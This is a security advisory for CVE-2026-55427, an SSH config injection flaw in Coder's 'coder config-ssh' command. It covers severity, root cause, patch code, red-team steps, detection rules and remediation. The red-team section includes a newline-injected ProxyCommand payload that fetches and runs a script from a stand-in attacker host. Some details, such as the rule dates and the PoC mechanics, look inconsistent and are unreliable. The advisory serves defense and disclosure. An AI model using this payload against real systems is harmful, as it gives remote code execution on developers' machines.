CVE-2026-55427

Executive Summary

CVE-2026-55427 is a high-severity vulnerability in Coder, a platform for provisioning remote development environments via Terraform. The flaw resides in the coder config-ssh command, which writes server-supplied SSH settings (HostnameSuffix, SSHConfigOptions) into the user's ~/.ssh/config file without sanitizing embedded newlines or restricting directives. This allows a malicious or compromised Coder server to inject arbitrary SSH configuration, potentially leading to unauthorized access, command execution, or lateral movement. The vulnerability has a CVSS score of 8.3, indicating high severity. Practical exploitation requires control over the server-supplied values, such as through a compromised deployment, man-in-the-middle attack, or admin access to the settings. The fix introduces strict input validation, rejecting newlines and control characters. As a workaround, users can inspect coder config-ssh --dry-run output before applying changes.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Coder application itself, which is typically deployed as a binary or container. The risk is in the supply chain if a compromised Coder server is used, as it can inject malicious SSH configurations into client machines.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.3 (High)
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs control over server-supplied values (e.g., admin access or MITM).
• User Interaction (UI): Required (R) – User must run coder config-ssh.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – Potential to read sensitive SSH keys or config.
• Integrity (I): High (H) – Arbitrary SSH config can be injected.
• Availability (A): High (H) – Could disrupt SSH connections.

Threat Level: High. Exploitation requires specific conditions but can lead to full compromise of SSH configurations, enabling lateral movement and data exfiltration.

Deep Dive & Mechanics

The vulnerability exists in the coder config-ssh command, which generates SSH configuration entries based on server-provided HostnameSuffix and SSHConfigOptions. These values are written directly into ~/.ssh/config without sanitization. An attacker who controls these values (e.g., via a compromised Coder server or MITM) can inject newlines and arbitrary SSH directives, such as ProxyCommand, IdentityFile, or Include, to execute commands or redirect connections.

Root Cause: Lack of input validation on HostnameSuffix and SSHConfigOptions fields. The server sends these as strings, and the client appends them to the SSH config file without checking for newlines or control characters.

Attack Scenario:

1. Attacker compromises a Coder server or performs MITM.
2. Attacker sets HostnameSuffix to \nProxyCommand /bin/bash -c 'malicious_command'\n.
3. User runs coder config-ssh, which writes the malicious entry to ~/.ssh/config.
4. When the user connects via SSH, the injected ProxyCommand executes the attacker's payload.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: No sanitization
func writeSSHConfig(hostnameSuffix, sshConfigOptions string) {
    config := fmt.Sprintf("Host *%s\n  %s\n", hostnameSuffix, sshConfigOptions)
    ioutil.WriteFile("~/.ssh/config", []byte(config), 0644)
}

Patched Code (Conceptual):

// Patched: Validate against strict character set
func writeSSHConfig(hostnameSuffix, sshConfigOptions string) error {
    if !isValidSSHConfig(hostnameSuffix) || !isValidSSHConfig(sshConfigOptions) {
        return errors.New("invalid SSH config options")
    }
    config := fmt.Sprintf("Host *%s\n  %s\n", hostnameSuffix, sshConfigOptions)
    ioutil.WriteFile("~/.ssh/config", []byte(config), 0644)
}

func isValidSSHConfig(s string) bool {
    for _, r := range s {
        if r < 32 || r > 126 { // Reject control characters
            return false
        }
    }
    return true
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Control over Coder server (admin access or MITM).
• User runs coder config-ssh.

Exploitation Steps:

1. Set up a malicious Coder server or intercept traffic.
2. Modify the HostnameSuffix or SSHConfigOptions to include newlines and malicious directives.
3. Example payload for HostnameSuffix:

   \nProxyCommand /bin/bash -c 'curl http://attacker.com/payload | bash'\n
   

4. Wait for user to execute coder config-ssh.
5. When user connects via SSH, the payload executes.

Proof of Concept (PoC) Script:

#!/bin/bash
# PoC: Simulate malicious server response
echo "HostnameSuffix: \nProxyCommand /bin/bash -c 'echo pwned > /tmp/pwned'\n" > /tmp/malicious_config
# User runs coder config-ssh (simulated)
coder config-ssh --dry-run < /tmp/malicious_config

Blue Team

Detection:

• Monitor ~/.ssh/config for unexpected entries, especially ProxyCommand, Include, or IdentityFile directives.
• Use file integrity monitoring (FIM) on ~/.ssh/config.
• Alert on coder config-ssh execution with unusual server responses.

Hunting:

• Search for newlines in HostnameSuffix or SSHConfigOptions in logs.
• Check for SSH connections to unexpected hosts after coder config-ssh runs.

Lab Setup:

• Deploy a vulnerable Coder server (version < 2.29.7).
• Create a test user and run coder config-ssh with malicious server values.
• Observe the injected SSH config.

Indicators of Compromise (IOCs)

• File: ~/.ssh/config containing unexpected ProxyCommand, Include, or IdentityFile directives.
• Process: coder config-ssh executed with non-standard server responses.
• Network: SSH connections to unusual IPs or domains after config update.
• Logs: Coder server logs showing modified HostnameSuffix or SSHConfigOptions.

Detection Engineering

YARA Rule

rule CVE_2026_55427_SSH_Config_Injection {
    meta:
        description = "Detects malicious SSH config entries from Coder config-ssh"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-55427"
    strings:
        $s1 = "ProxyCommand" nocase
        $s2 = "Include" nocase
        $s3 = "IdentityFile" nocase
        $s4 = "Host *" nocase
    condition:
        any of ($s*) and #s4 > 0
}

Sigma Rule

title: Coder config-ssh Malicious SSH Config Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects injection of malicious SSH directives via coder config-ssh
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/coder'
        CommandLine|contains: 'config-ssh'
    condition: selection
falsepositives:
    - Legitimate use of coder config-ssh
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2026-55427 Coder config-ssh Injection"; flow:to_server; content:"HostnameSuffix"; nocase; content:"|0a|"; distance:0; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade Coder to versions 2.29.7, 2.32.7, 2.33.8, or 2.34.2.
• Use coder config-ssh --dry-run to inspect changes before applying.

Long-term:

• Implement strict input validation on all server-supplied values.
• Use allowlists for SSH config directives.
• Monitor ~/.ssh/config for unauthorized changes.

Workaround:

• Manually review ~/.ssh/config after running coder config-ssh.
• Restrict network access to Coder servers.

Valters IT